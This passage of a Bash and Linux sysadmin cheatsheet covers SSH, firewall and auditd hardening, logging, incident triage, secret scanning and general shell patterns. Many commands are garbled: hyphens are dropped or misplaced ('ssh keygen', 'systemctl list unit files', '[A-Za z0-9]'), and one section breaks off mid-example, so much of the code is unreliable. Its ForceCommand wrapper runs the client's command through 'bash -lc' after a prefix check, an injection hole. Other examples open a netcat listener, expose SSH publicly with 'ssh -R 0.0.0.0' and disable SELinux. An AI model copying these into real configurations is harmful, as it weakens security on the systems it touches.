AuthorizedPrincipalsFile /etc/ssh/auth_principals/%u
EOF
mkdir -p /etc/ssh/auth_principals; echo alice > /etc/ssh/auth_principals/alice
systemctl reload sshd
FIDO2 hardware backed keys¶
# Create WebAuthn/FIDO2-backed SSH key (resident-optional)
ssh keygen -t ed25519-sk -O resident -O verify required -C "alice@host"
# Client: ensure libfido2 and working authenticator (touch-required)
ssh -o PubkeyAuthentication=yes user@host
Fine grained Match rules and ForceCommand wrapper¶
# Limit forwarding and commands for a group-(sshd_config.d/limits.conf)
Match Group devops
AllowTcpForwarding local
PermitOpen 127.0.0.1:5432
X11Forwarding no
ForceCommand /usr/local/bin/ssh wrapper.sh
# /usr/local/bin/ssh wrapper.sh
#!/usr/bin/env bash
set -euo pipefail
case "$SSH_ORIGINAL_COMMAND" in
"psql"*|"pg_dump"*) exec bash -lc "$SSH_ORIGINAL_COMMAND";;
*) echo "command not permitted"; exit 1;;
esac
12d. Network Hardening: SYNPROXY and Conntrack¶
sysctl tuning (tcp and-rp_filter)¶
# /etc/sysctl.d/98-net hardening.conf
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_syn_backlog = 4096
net.ipv4.tcp_timestamps = 0
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1
net.ipv4.icmp_echo_ignore_broadcasts = 1
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.send_redirects = 0
# Apply
sysctl --system
iptables with SYNPROXY (front end-ports)¶
modprobe nf_synproxy_core
iptables -t raw -A PREROUTING -p tcp -m tcp --syn --dport 80 -j CT --notrack
iptables -t raw -A PREROUTING -p tcp -m tcp --syn --dport 443 -j CT --notrack
iptables -A INPUT -p tcp -m tcp --dport 80 -m synproxy --sack perm --timestamp --wscale 7 --mss 1460 -j SYNPROXY
iptables -A INPUT -p tcp -m tcp --dport 443 -m synproxy --sack perm --timestamp --wscale 7 --mss 1460 -j SYNPROXY
iptables -A INPUT -p tcp -m state --state INVALID -j DROP
12e. Auditd Comprehensive Ruleset¶
Rules to watch sensitive paths and actions¶
# /etc/audit/rules.d/hardening.rules
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity
-w /etc/group -p wa -k identity
-w /etc/sudoers -p wa -k priv_esc
-w /var/log/ -p wa -k logchange
-a always,exit -F arch=b64 -S execve -F dir=/tmp -k exec_tmp
-a always,exit -F arch=b64 -S execve -F dir=/var/tmp -k exec_tmp
-a always,exit -F arch=b64 -S init_module -S finit_module -k module
-a always,exit -F arch=b64 -S sethostname -S setdomainname -k netcfg
-a always,exit -F arch=b64 -S chmod -S fchmod -S fchmodat -k permchange
-a always,exit -F arch=b64 -S chown -S fchown -S fchownat -k permchange
-a always,exit -F arch=b64 -S setxattr -S fsetxattr -k xattr
-a always,exit -F arch=b64 -S capset -k caps
# Load rules
augenrules --load
systemctl enable --now auditd
ausearch -k priv_esc | aureport -x -i
12f. Centralized Logging and Shipping¶
systemd journal remote¶
# Receiver
apt install systemd journal remote
systemctl enable --now systemd journal remote.socket
# Sender
systemctl enable --now systemd journal upload.service
# Configure /etc/systemd/journal upload.conf to point to receiver URL
rsyslog with RELP over TLS¶
# /etc/rsyslog.d/10-relp client.conf
module(load="imjournal")
module(load="omrelp")
action(type="omrelp" target="loghost.example.com" port="20514"
tls="on" tls.caCert="/etc/ssl/certs/ca.crt")
systemctl restart rsyslog
12g. Incident Response Toolbelt¶
One shot triage collector¶
#!/usr/bin/env bash
set -euo pipefail
out="/root/triage_$(date +%F_%H%M%S)"; mkdir -p "$out"
ps auxwwf > "$out/ps.txt"
ss -tunap > "$out/net.txt"
lsmod > "$out/lsmod.txt"
iptables -S > "$out/iptables.txt" 2>/dev/null || true
nft list ruleset > "$out/nft.txt" 2>/dev/null || true
systemctl list unit files --type=service > "$out/services.txt"
systemctl list timers --all > "$out/timers.txt"
last -a | head -200 > "$out/last.txt"
getcap -r / 2>/dev/null > "$out/caps.txt" || true
find / -xdev -perm -4000 -type f 2>/dev/null > "$out/suid.txt"
tar -czf "$out.tar.gz" -C "$(dirname "$out")" "$(basename "$out")"
echo "triage saved to $out.tar.gz"
Detect new SUID/SGID in last 2 days¶
find / -xdev -type f \( -perm -4000 -o -perm -2000 \) -mtime -2 -printf '%TY-%Tm-%Td %TH:%TM %m %p\n' 2>/dev/null | sort
12h. Backup Verification and Restore Drills¶
rsync/tar verify¶
# Compare snapshot to live with checksums
rsync -aHAXn --checksum /data/ /backups/$(date +%F)/ | tee verify.log
# Extract test restore into temp and diff
tmpdir=$(mktemp -d); tar -xzf backup.tgz -C "$tmpdir"; diff -rq /home "$tmpdir/home"; rm -rf "$tmpdir"
borg integrity check¶
borg list /backup/repo
borg check --verify data /backup/repo
# Test restore specific path to tmp
borg extract /backup/repo::latest home/alice/docs -D --dry run
12i. Secrets Hygiene and Rotation¶
Find exposed secrets quickly-(heuristics)¶
# ripgrep patterns for common secrets (tune-allowlist)
rg -n --hidden -g '!.git' -e 'AKIA[0-9A-Z]{16}' -e 'SECRET(_KEY)?\s*=\s*['\''
\"][^'\''\"]{8,}' -e 'BEGIN (RSA|OPENSSH|EC) PRIVATE KEY' .
Git pre commit hook to block secrets¶
cat >.git/hooks/pre commit <<'EOF'
#!/usr/bin/env bash
set -euo pipefail
files=$(git diff --cached --name only)
rg -n -e 'BEGIN (RSA|OPENSSH|EC) PRIVATE KEY' $files && { echo 'Secret detected'; exit 1; } || true
EOF
chmod +x .git/hooks/pre commit
SSH key rotation helper¶
ssh keygen -t ed25519 -C "rotated $(date +%F)" -f ~/.ssh/id_ed25519_new
cat ~/.ssh/id_ed25519_new.pub | ssh user@host 'mkdir -p ~/.ssh && cat >> ~/.ssh/authorized_keys'
# After verification, remove old key
sed -i '/old key comment/d' ~/.ssh/authorized_keys
12j. Container aware Hardening¶
Detect containers and restrict privileges¶
# Quick detection
if [ -f /.dockerenv ] || systemd detect virt -cq; then echo "container"; fi
systemd service sandboxing-(host)¶
# In service unit [Service] section
NoNewPrivileges=yes
ProtectSystem=strict
ProtectHome=true
PrivateTmp=true
PrivateDevices=true
ProtectKernelTunables=yes
ProtectKernelModules=yes
ProtectControlGroups=yes
CapabilityBoundingSet=
AmbientCapabilities=
LockPersonality=yes
MemoryDenyWriteExecute=yes
RestrictSUIDSGID=yes
RestrictNamespaces=yes
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX
Docker run hardened-(example)¶
docker run --read only --tmpfs /run --tmpfs /tmp:exec,noexec,nosuid,nodev \
--cap drop ALL --cap add NET_BIND_SERVICE \
--pids limit 256 --cpus=1 --memory=512m --security opt no new privileges \
-p 127.0.0.1:8080:80 myimage:stable
13. Cross-References¶
- Python: For more complex automation and web requests, see Python Cheatsheet
- Regex: For advanced pattern matching, see Regex Cheatsheet
- SQL: For database interaction and SQL injection, see SQL Cheatsheet
- Networking: For advanced network tools, see Nmap Tricks
14. Notes and Pitfalls¶
Common Mistakes¶
- Unquoted variables: Always quote variables to prevent word splitting
- Command injection: Never use unsanitized input in commands
- Race conditions: Be careful with temporary files and parallel execution
- Permissions: Scripts with SUID bits can be security risks
Performance Considerations¶
- Use
$(command)instead of backticks for command substitution - Avoid unnecessary subshells and pipelines
- Use built in string manipulation instead of external commands
- Consider using
awkorsedfor complex text processing
Portability Issues¶
- Test scripts on different shells (bash, dash, zsh)
- Be aware of differences between Linux, macOS, and BSD systems
- Use
#!/usr/bin/env bashfor better portability - Avoid bashisms when writing portable scripts
Security Warnings¶
- Never run untrusted scripts without review
- Be cautious with
curl | bashpatterns - Validate all input and output
- Use minimal privileges for each task
15. Shell Grammar, Quoting, and Globbing¶
Quoting Rules¶
- Single quotes '...' prevent all expansions (except escaped single quotes via complex constructs)
- Double quotes "..." allow: parameter, command, and arithmetic expansion, but prevent word splitting and globbing
- Unquoted expansion is subject to word splitting (IFS) and globbing; avoid it for untrusted content
var="a b*c"
echo $var # BAD: word splitting + globbing
echo "$var" # GOOD: preserved
Escapes and ANSI-C strings¶
echo
### Globbing and Extended Globs
- Enable extended globs with: shopt -s extglob
- Common patterns:
? (single char), * (any), [abc], [!abc], [a z]
extglob: @(pat|pat), !(pat), +(pat), *(pat), ?(pat)
```bash
shopt -s extglob nullglob dotglob globstar # globstar: ** recurses
rm -f !(.keep|*.cfg) # delete everything except .keep and *.cfg
printf '%s\n' **/*.log # recursive glob (Bash-4+)
Brace Expansion vs Globbing vs Regex¶
- Brace expansion happens before globbing and is not regex
- [[ expr =~ regex ]] uses ERE (extended regex); quote RHS to prevent globbing
for i in {01..05}; do echo "file_$i"; done
if [[ "email@x.io" =~ ^[A-Za z0-9._%+-]+@[A-Za z0-9.-]+\.[A-Za z]{2,}$ ]]; then echo OK; fi
16. Redirection and File Descriptors Deep Dive¶
Basics¶
- N>&M: duplicate FD N from M, e.g., 2>&1
- N>file: redirect FD N to file (truncate)
- N>>file: append
- <(cmd), >(cmd): process substitution (uses pipes/FIFOs)
cmd >out.txt 2>err.txt # separate stdout/stderr
cmd >all.txt 2>&1 # merge stderr into stdout
{ cmd1; cmd2; } >group.log 2>&1
Capture stdout and stderr separately¶
# stdout to out, stderr to err
mycmd 1>out.log 2>err.log
# swap stdout/stderr
exec 3>&1 4>&2
mycmd 1>&4 2>&3
exec 3>&- 4>&-
Here docs and Here strings¶
cat <<'EOF'
No expansions happen because of single quoted EOF marker
$HOME stays literal
EOF
cat <<< "value is: $(date)" # here string
Tee and multi target logging¶
mycmd 2>&1 | tee -a run.log | grep -i error
17. Job Control and Signals¶
Background and Foreground¶
long_task & # run in background
jobs -l # list jobs with PIDs
fg %1 # bring job 1 to foreground
bg %1 # resume in background
wait %1 # wait for job
Signals¶
kill -SIGTERM $pid
trap 'echo "SIGINT received"; cleanup; exit 130' INT
trap 'echo "on exit"' EXIT
Disown and nohup¶
nohup myservice & disown
18. Coprocess, Subshells, and Grouping¶
Subshell vs Grouping¶
( cd /tmp && touch a ) # subshell: parent PWD unaffected
{ cd /tmp && touch b; } # grouping in current shell
Coprocess (Bash-4+)¶
coproc nc -lvnp 9001
printf 'ping\n' >&"${COPROC[1]}"
read -r line <&"${COPROC[0]}"
echo "server: $line"
19. Robust CLI Parsing with getopts¶
usage(){ cat <<USAGE
Usage: $0 [-v] -f file [-o output]
USAGE
}
verbose=0; file=""; out=""
while getopts ":vf:o:h" opt; do
case $opt in
v) verbose=1;;
f) file=$OPTARG;;
o) out=$OPTARG;;
h) usage; exit 0;;
:) echo "Option -$OPTARG requires an argument" >&2; exit 2;;
\?) echo "Unknown option -$OPTARG" >&2; usage; exit 2;;
esac
done
shift $((OPTIND-1))
[[ -z $file ]] && { echo "-f required" >&2; exit 2; }
20. Advanced Parameter Expansion¶
name="Alice Cooper"
file="/var/www/html/index.php.gz"
# Substrings
echo "${name:6:6}" # Cooper
# Remove prefixes/suffixes
echo "${file##*/}" # index.php.gz
echo "${file%.*}" # /var/www/html/index.php
# Replace
path="/opt/app/app.conf"
echo "${path/app/var}" # /opt/var/app.conf-(first)
echo "${path//app/var}" # replace all
# Case modification (Bash-4)
var="hello world"
echo "${var^^}" # HELLO WORLD
echo "${var^}" # Hello world
# Indirection
ref="HOME"; echo "${!ref}" # value of $HOME
21. Arrays and Input Processing¶
Array Slicing and Join¶
arr=(alpha beta gamma delta)
echo "${arr[@]:1:2}" # beta gamma
IFS=,; echo "${arr[*]}"; unset IFS
mapfile/readarray¶
mapfile -t lines < <(grep -v '^#'-config.ini)
printf 'line: %s\n' "${lines[@]}"
Safe read loops¶
while IFS= read -r line || [[ -n $line ]]; do
printf '%s\n' "$line"
done < input.txt
22. History, Readline, and Prompt-(PS1)¶
History Expansion¶
echo !! # repeat last command
echo !:0 !:1-2 # tokens from last command
fc -l -10 # last 10 commands
Readline Shortcuts¶
- Ctrl a/e: move to start/end
- Alt f/b: move word forward/back
- Ctrl w: delete word to left
- Ctrl u/k: kill to start/end of line
- Ctrl y: yank (paste)
Custom PS1¶
# Show time, user, host, cwd, git branch
parse_git_branch(){ git rev parse --abbrev ref HEAD 2>/dev/null; }
PS1='\[\e[36m\]\t \[\e[32m\]\u@\h \[\e[34m\]\w\[\e[33m\]$(parse_git_branch)\[\e[0m\]$ '
23. Parallelism Patterns¶
xargs and GNU parallel¶
# Basic parallelism with xargs
seq 1 20 | xargs -n1 -P4 -I{} bash -c 'echo {}: $(date +%s); sleep 1'
# GNU parallel (if-available)
parallel -j 8 'curl -sS -m 5 https://{}' ::: example.com example.org
wait -n (Bash-5)¶
for url in {1..5}; do ( sleep $((RANDOM%5)); echo done $url ) & done
while wait -n 2>/dev/null; do echo "a job finished"; done
24. Locking and Concurrency Control¶
flock for mutual exclusion¶
lockfile="/tmp/my.lock"
{
flock -n 9 || { echo "busy"; exit 1; }
# critical section
do_work
} 9>"$lockfile"
Atomic operations¶
# Atomic move
mv tmpfile outfile # POSIX atomic rename within same filesystem
25. Logging, Tracing, and Debugging¶
PS4 with xtrace to file¶
export PS4='+ ${BASH_SOURCE}:${LINENO}:${FUNCNAME[0]}() '
exec 3>&2 2>trace.log
set -x
# ... script body ...
set +x
exec 2>&3 3>&-
logger to syslog¶
logger -t myscript "Started"
set -e pitfalls and safer patterns¶
- set -e is ignored in subshells, compound commands; prefer explicit checks
- Use pipefail and check statuses:
set -euo pipefail cmd1 | cmd2 | cmd3 status=${PIPESTATUS[*]} if (( ${status[0]} != 0 || ${status[1]} != 0 || ${status[2]} != 0 )); then echo "pipeline failed" fi
26. JSON/YAML Handling with jq/yq¶
# jq examples
curl -s https://api.github.com/repos/torvalds/linux | jq '.stargazers_count'
# Select objects
jq -r '.items[] | select(.arch=="amd64") | .name'
# yq-(v4) YAML -> JSON-like queries
# yq e '.spec.template.spec.containers[].image' deploy.yaml
27. Advanced curl and HTTP Testing¶
# TLS details
curl -vkI https://example.com
# Supply client certificate
curl --cert cert.pem --key key.pem https://mtls.example.com
# HTTP/2 and ALPN
curl --http2 -I https://example.com
# Auth and cookies
curl -c c.txt -b c.txt -u user:pass https://example.com
# Upload and JSON
curl -H 'Content-Type: application/json' -d '{"a":1}' https://api.example.com
28. Advanced SSH Usage¶
# ControlMaster multiplexing
Host *
ControlMaster auto
ControlPath ~/.ssh/cm-%r@%h:%p
ControlPersist 5m
# ProxyJump / bastion
ssh -J user@jump host.internal
# SSH port forward
ssh -L 127.0.0.1:8080:remote:80 user@host
ssh -R 0.0.0.0:2222:localhost:22 user@host
# Execute remote scripts safely
ssh user@host 'bash -s' < script.sh
29. Filesystem Monitoring with inotify¶
inotifywait -m -e create,modify,delete /var/www | while read -r dir ev file; do
printf '%s %s/%s\n' "$ev" "$dir" "$file"
done
30. Forensics Essentials¶
# Open files and sockets
lsof -i -n -P | grep LISTEN
lsof /path/to/file
# Auditd quickstart
auditctl -e 1
auditctl -w /etc/passwd -p wa -k passwd_watch
ausearch -k passwd_watch | aureport -f -i
31. Containers and Namespaces¶
# Minimal namespace isolation
unshare -Urn --mount proc bash
ip link set lo up
# Docker basic ops
docker ps -a
docker run --rm -it alpine sh
32. UX Patterns: Menus, Spinners, Progress¶
menu(){
PS3='Choose: ' ; select opt in Scan Backup Quit; do
case $REPLY in 1) echo Scan;; 2) echo Backup;; 3) break;; *) echo "Invalid";; esac
done
}
spinner(){
local pid=$1; local spin='|/-\'; local i=0
while kill -0 $pid 2>/dev/null; do i=$(( (i+1)%4 )); printf "\r[%c]" "${spin:$i:1}"; sleep .1; done; echo
}
task(){ sleep 3; }
task & spinner $!
33. Scheduling: cron and systemd timers¶
# Cron example (edit with crontab--e)
# Run at 02:00 daily
0 2 * * * /usr/local/bin/backup.sh >>/var/log/backup.log 2>&1
# systemd timer units
# myjob.service + myjob.timer
34. Packaging and Install Scripts¶
prefix="/usr/local"; bindir="$prefix/bin"
install -d "$bindir"
install -m 0755 mytool "$bindir/mytool"
35. Git Automation¶
# Bulk update repositories
for d in ~/code/*/.git; do
repo=${d%/.git}
( cd "$repo" && git pull --rebase )
done
36. Crypto with GPG and OpenSSL¶
# GPG encrypt/decrypt
gpg -e -r user@example.com secret.txt
gpg -d secret.txt.gpg
# OpenSSL symmetric
openssl enc -aes-256-cbc -salt -pbkdf2 -in in -out out
openssl enc -d -aes-256-cbc -pbkdf2 -in out -out in
37. Backups with rsync and tar¶
rsync -aHAX --delete /etc/ /backup/etc/
rsync -a --info=progress2 /data/ remote:/backup/data/
tar --listed incremental=snar.list -czf backup.tgz /home
38. System Inventory¶
# Debian/Ubuntu
dpkg -l | awk '/^ii/{print $2, $3}'
# RHEL/CentOS
rpm -qa --qf '%{NAME} %{VERSION}-%{RELEASE}\n'
# Services
systemctl list units --type=service --state=running
39. SELinux and AppArmor Quick Reference¶
# SELinux
getenforce; setenforce 0
semanage fcontext -a -t httpd_sys_content_t '/var/www(/.*)?'
restorecon -Rv /var/www
# AppArmor
aa status
aa complain /etc/apparmor.d/usr.sbin.nginx
40. Testing Bash with Bats¶
# test_file.bats
@test "adds numbers" {
run bash -c 'echo $((2+2))'
[ "$status" -eq 0 ]
[ "$output" = "4" ]
}
41. ShellCheck: Common Issues¶
- SC2086: Double quote to prevent globbing and word splitting
- SC2155: Declare and assign separately to avoid masking return values
- SC2164: Use 'cd --' and '|| exit'
cd -- "$dir" || exit 1
42. Tmux Essentials-(bonus)¶
tmux new -s work
# prefix (Ctrl-b) then: c (new window), % (vsplit), " (hsplit), n/p (next/prev)
# detach: prefix d; list sessions: tmux ls; attach: tmux a -t work
43. ANSI Colors and Styling¶
red='\e[31m'; green='\e[32m'; yellow='\e[33m'; nc='\e[0m'
echo -e "${green}[+] Success${nc}"
44. Portability and Bashisms¶
- Use #!/usr/bin/env bash and require a minimum version if features needed
- Prefer POSIX sh for portable scripts; avoid arrays, [[, process substitution
- Test with dash for portability where required
45. One liners for Security Workflows¶
# Extract unique IPs from logs
awk '{for(i=1;i<=NF;i++) if($i~/^([0-9]{1,3}\.){3}[0-9]{1,3}$/) print $i}' *.log | sort -u
# Check TLS expiry
for h in example.com google.com; do echo -n "$h "; echo | openssl s_client -servername $h -connect $h:443 2>/dev/null | openssl x509 -noout -enddate; done
# Quick HTTP title fetch
for u in $(cat urls.txt); do echo -n "$u "; curl -m 5 -s "$u" | grep -iPo '(?<=<title>).*?(?=</title>)' ; done
# Compare directory trees
diff -rq dirA dirB | tee differences.txt
# Find large files-(>1G)
find / -xdev -type f -size +1G -printf '%s %p\n' 2>/dev/null | sort -nr | head
46. Comprehensive Cheats: Patterns Library¶
Robust tempdir and cleanup¶
tmpdir=$(mktemp -d -t app.XXXXXX) || exit 1
cleanup(){ rm -rf -- "$tmpdir"; }
trap cleanup EXIT INT TERM
Error wrapper and-die()¶
log(){ printf '%s %s\n' "$(date '+%F %T')" "$*" >&2; }
die(){ log "ERROR: $*"; exit 1; }
Retry with backoff¶
retry(){ local n=0; local max=${1:-5}; local delay=${2:-1}; shift 2;
until "$@"; do n=$((n+1)); [[ $n -ge $max ]] && return 1; sleep $((delay*n)); done; }
# usage: retry 5 1 curl -fS https://example.com
CSV safe reader¶
while IFS=, read -r a b c; do
printf 'A=%q B=%q C=%q\n' "$a" "$b" "$c"
done < data.csv
Minimal daemon loop¶
while :; do
do_task || log "task failed"
sleep 5
done
47. Reference: shopt and set Options¶
# Useful shopt
shopt -s extglob nullglob dotglob globstar histappend cmdhist
# Useful set
set -o errexit -o nounset -o pipefail
48. Images and Visual Aids¶
![]()
Visual guide: stdin/stdout/stderr and how pipes/tee interact.
Sources¶
- GNU Bash Reference Manual: https://www.gnu.org/software/bash/manual/bash.html
- bash(1) manual (man7): https://man7.org/linux/man pages/man1/bash.1.html
- Bash Hackers Wiki: https://wiki.bash hackers.org/
- Advanced Bash-Scripting Guide (TLDP): https://tldp.org/LDP/abs/html/
- ShellCheck and wiki: https://www.shellcheck.net/ | https://github.com/koalaman/shellcheck/wiki
- GNU Coreutils manual: https://www.gnu.org/software/coreutils/manual/
- findutils (find/xargs) manual: https://www.gnu.org/software/findutils/
- grep manual: https://www.gnu.org/software/grep/manual/grep.html
- sed manual: https://www.gnu.org/software/sed/manual/
- gawk manual: https://www.gnu.org/software/gawk/manual/
- iproute2 (ip/ss) reference: https://man7.org/linux/man pages/man8/ip.8.html | https://man7.org/linux/man pages/man8/ss.8.html
- netcat (OpenBSD nc): https://man.openbsd.org/nc
- curl docs: https://curl.se/docs/ | man pages: https://curl.se/docs/manpage.html
- OpenSSH manuals: sshd_config(5), ssh_config(5), ssh keygen(1) https://man.openbsd.org/sshd_config | https://man.openbsd.org/ssh_config | https://man.openbsd.org/ssh keygen
- OpenSSL docs: https://www.openssl.org/docs/manmaster/man1/openssl.html
- systemd docs: systemctl(1), journald(8), unit files, timers https://www.freedesktop.org/software/systemd/man/systemctl.html https://www.freedesktop.org/software/systemd/man/systemd journald.service.html https://www.freedesktop.org/software/systemd/man/systemd.unit.html https://www.freedesktop.org/software/systemd/man/systemd.timer.html
- iptables and nftables: iptables(8): https://man7.org/linux/man pages/man8/iptables.8.html nftables quickstart: https://wiki.nftables.org/wiki nftables/index.php/Quick_reference nftables_in_10_minutes
- Fail2ban docs: https://fail2ban.readthedocs.io/en/latest/
- auditd/augenrules/ausearch: https://access.redhat.com/documentation/en us/red_hat_enterprise_linux/7/html/security_guide/sec using_system_call_auditing | man pages: auditd(8), augenrules(8), ausearch(8)
- logrotate(8): https://man7.org/linux/man pages/man8/logrotate.8.html
- rsyslog RELP/TLS: https://www.rsyslog.com/doc/
- rsync(1): https://download.samba.org/pub/rsync/rsync.html
- tar(1): https://www.gnu.org/software/tar/manual/
- borgbackup docs: https://borgbackup.readthedocs.io/en/stable/
- crontab(5): https://man7.org/linux/man pages/man5/crontab.5.html
- CIS Benchmarks (Linux): https://www.cisecurity.org/cis benchmarks
- ArchWiki (systemd, SSH, journald, security hardening): https://wiki.archlinux.org/